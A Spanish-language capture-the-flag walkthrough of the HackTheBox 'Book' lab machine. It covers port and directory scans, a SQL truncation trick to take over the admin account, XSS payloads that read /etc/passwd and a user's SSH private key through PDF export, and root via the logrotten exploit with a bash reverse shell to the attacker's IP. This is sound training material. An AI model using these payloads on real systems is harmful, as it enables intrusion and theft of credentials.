Book es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Book 10.10.10.176 a /etc/hosts como book.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
# Nmap 7.80 scan initiated Thu May 14 17:11:35 2020 as: nmap -sV -sC -Pn -p- -oA book-nmap 10.10.10.176 Nmap scan report for 10.10.10.176 Host is up (0.057s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA) | 256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA) |_ 256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: LIBRARY - Read | Learn | Have Fun 4455/tcp open prchat-user? Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu May 14 17:13:21 2020 -- 1 IP address (1 host up) scanned in 105.54 seconds |
Tras un primer escaneo no observamos muchos puertos abiertos, para el acceso por ssh no disponemos de credenciales así que por el momento lo dejamos y pasaremos directamente al puerto 80.
Enumeración
Pasamos al puerto 80, donde observamos el siguiente portal web en una primera vista:
Vemos dos secciones, una primera de login y otra de signup:
Nos registramos y accedemos al portal donde observamos de primeras el siguiente portal web de libros en pdf:
Navegamos entre las diferentes secciones del portal donde encontramos una sección para descargar libros, subirlos, enviar un mensaje o ver los datos de nuestra cuenta. Nos centramos en la sección de Collections donde cabría la posibilidad de subir un fichero php, aunque después de varios intentos no conseguimos obtener ningún resultado.
Ejecutamos entonces la tool dirb para enumerar los posibles directorios y ficheros existentes en el portal y observamos lo siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
$ dirb http://10.10.10.176/ /usr/share/wordlists/dirb/common.txt ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Thu May 14 17:22:35 2020 URL_BASE: http://10.10.10.176/ WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://10.10.10.176/ ---- ==> DIRECTORY: http://10.10.10.176/admin/ ==> DIRECTORY: http://10.10.10.176/docs/ ==> DIRECTORY: http://10.10.10.176/images/ + http://10.10.10.176/index.php (CODE:200|SIZE:6800) + http://10.10.10.176/server-status (CODE:403|SIZE:277) ---- Entering directory: http://10.10.10.176/admin/ ---- ==> DIRECTORY: http://10.10.10.176/admin/export/ + http://10.10.10.176/admin/index.php (CODE:200|SIZE:6291) ==> DIRECTORY: http://10.10.10.176/admin/vendor/ ---- Entering directory: http://10.10.10.176/docs/ ---- ---- Entering directory: http://10.10.10.176/images/ ---- ---- Entering directory: http://10.10.10.176/admin/export/ ---- ---- Entering directory: http://10.10.10.176/admin/vendor/ ---- ==> DIRECTORY: http://10.10.10.176/admin/vendor/composer/ ---- Entering directory: http://10.10.10.176/admin/vendor/composer/ ---- + http://10.10.10.176/admin/vendor/composer/LICENSE (CODE:200|SIZE:2918) ----------------- END_TIME: Thu May 14 17:56:27 2020 DOWNLOADED: 32284 - FOUND: 4 |
Encontramos entre los resultados un directorio muy interesante, /admin, así que vemos que existe un panel de administración para el cual no disponemos de credenciales:
Seguimos revisando el portal descubierto hasta el momento y encontramos un dato interesante al inspeccionar el código fuente de la sección de Contact Us:
1 |
<tr><td align="center">To</td><td align="left">admin@book.htb</td></tr> |
Sabemos la dirección de correo del usuario admin pero no tenemos todavía sus credenciales.
Buscando por google, encontramos una nueva técnica de SQL Injection realizando un truncado de la consulta, así que abrimos Burp Suite y probamos a realizar el mismo en el panel de registro:
Y conseguimos saltar el error de usuario existente en el formulario de registro, probamos a acceder al portal y después al portal de admin, y estamos dentro de la sección de administración del site:
En esta sección tenemos diferentes funciones como ver los usuarios registrados en el portal, mensajes envíados, si se ha enviado algún tipo de feedback en alguno de los libros existentes y las colecciones que existen para descargar las mismas en formato pdf como vemos en la siguiente captura:
Después de jugar un poco con estos paneles y opciones, vemos la posibilidad de realizar un ataque XSS para conseguir un fichero del sistema y descargarlo a través de la función de colecciones del administrador y que podemos ver explicado en su totalidad en la web de noob ninja.
Así que, después de varias pruebas vamos a intentar obtener el fichero /etc/passwd del sistema con el siguiente código en javascript:
1 |
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script> |
Introduciremos dicho código en los campos de autor y título del libro de la sección de subida de archivos del portal de usuario:
Y acto seguido, descargaremos el fichero en PDF de las colecciones desde el panel de administrador para conseguir el fichero /etc/passwd:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www- data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd- network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd- resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false sshd:x:110:65534::/run/sshd:/usr/sbin/nologin reader:x:1000:1000:reader:/home/reader:/bin/bash mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false |
Obtenido este fichero importante, descubrimos un potencial usuario en el sistema llamado reader, así que vamos a intentar conseguir la clave ssh del usuario con el fin de poder después loguearnos en el sistema a través del puerto 22 visto en el primer escaneo con nmap.
Utilizaremos en este caso la siguiente carga útil:
1 |
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();</script> |
y ejecutamos la misma igual que hicimos para el fichero passwd. Descargamos después el fichero pdf y lo tenemos, la clave sh del usuario reader:
Copiamos la misma y probamos a acceder pero nos da un error debido al formato utilizado en el fichero pdf, y debido a que la conversión manual no funciona, en nuestro caso, abrimos el pdf con libreoffice para conseguir el texto sin el formato de pdf y conseguir entrar a la máquina.
Obteniendo la flag de user
Una vez solucionado el error de formato, accedemos con el usuario reader a la instancia y conseguimos la flag de user:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
$ ssh -i id_rsa reader@10.10.10.176 Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Thu May 14 18:15:02 UTC 2020 System load: 0.05 Processes: 153 Usage of /: 26.6% of 19.56GB Users logged in: 0 Memory usage: 23% IP address for ens33: 10.10.10.176 Swap usage: 0% * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 114 packages can be updated. 0 updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Wed Jan 29 13:03:06 2020 from 10.10.14.3 reader@book:~$ whoami reader reader@book:~$ ls -l user.txt -r-------- 1 reader reader 33 Nov 29 11:56 user.txt reader@book:~$ |
Revisamos el resto de archivos existentes en la home del usuario y encontramos un directorio llamado “backup” y un fichero access.log en su interior, aunque está vacío.
1 2 3 4 5 |
reader@book:~$ ls -l backups/ total 4 -rw-r--r-- 1 reader reader 0 May 14 18:58 access.log -rw-r--r-- 1 reader reader 91 May 14 18:58 access.log.1 reader@book:~$ |
Escalando privilegios
Para la escalada de privilegios, subimos y ejecutamos en la máquina el fichero LinEnum.sh para verificar diferentes ficheros binarios, permisos y demás y vemos que logrotate se ejecuta como root, por lo que relacionamos con el fichero access.log visto anteriormente.
Para confirmar lo mencionado, utilizamos también el ejecutable de pspy para ver de una mejor forma los procesos ejecutados y efectivamente observamos la ejecución de logrotate con el usuario root, por lo que puede ser una posible forma de escalar privilegios:
Con lo visto hasta el momento, revisamos la versión de logrotate utilizada por el sistema y buscamos información al respecto en google.
1 2 3 4 5 6 |
$ logrotate -v logrotate 3.11.0 - Copyright (C) 1995-2001 Red Hat, Inc. This may be freely redistributed under the terms of the GNU Public License Usage: logrotate [-dfv?] [-d|--debug] [-f|--force] [-m|--mail=command] [-s|--state=statefile] [-v|--verbose] [-l|--log=STRING] [--version] [-?|--help] [--usage] [OPTION...] <configfile> |
Buscamos en google y encontramos el repositorio en github de logrotten mediante el cual podemos hacer que al ejecutar el logrotate como root, le inyectemos nuestro payload y se ejecute en la próxima vez que lo lance.
Descargaremos el código en nuestra máquina y lo compilaremos:
1 |
$ gcc -o logrotten logrotten.c |
Generaremos el payload, en nuestro caso hemos creado una reverse shell en bash con el siguiente código:
1 2 |
#!/bin/bash bash -i >& /dev/tcp/10.10.14.239/4444 0>&1 |
A continuación subiremos los ficheros a la instancia y ejecutaremos logrotten. Como vimos anteriormente, existía un fichero de log en la carpeta backups de la home del usuario, utilizaremos entonces el mismo para ejecutar nuestro payload y escalar privilegios.
1 2 |
$ ./logrotten -p ./payload /home/reader/backups/access.log Waiting for rotating /home/reader/backups/access.log... |
Añadiremos cualquier contenido al fichero access.log para forzar el rotado, en nuestro caso le añadimos el string “pwn”:
1 |
$ echo "pwn" >> /home/reader/backups/access.log |
Y a los pocos segundos se completará nuestro comando logrotten:
1 2 3 4 5 |
$ ./logrotten -p ./payload /home/reader/backups/access.log Waiting for rotating /home/reader/backups/access.log... Renamed /home/reader/backups with /home/reader/backups2 and created symlink to /etc/bash_completion.d Waiting 1 seconds before writing payload... Done! |
Obteniendo la flag de root
Una vez completada la ejecución de logrotten, obtendremos una shell como root en la escucha que teníamos previamente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.14.239] from (UNKNOWN) [10.10.10.176] 50566 root@book:~# id id uid=0(root) gid=0(root) groups=0(root) root@book:~# ls -l ls -l total 28 -rwxr-xr-x 1 root root 196 Feb 19 14:14 clean_backup.sh -rwxr-xr-x 1 root root 196 Feb 19 14:14 clean.sh -rwx------ 1 root root 72 Nov 20 11:45 cron_root -rw-r--r-- 1 root root 101 Nov 29 17:43 log.cfg -rwxr-xr-x 1 root root 47 Dec 22 02:12 log.sh -rwx------ 1 root root 409 Dec 22 02:12 reset.sh -r-------- 1 root root 33 Nov 29 11:57 root.txt root@book:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respecto en el siguiente enlace https://www.hackthebox.eu/home/users/profile/103792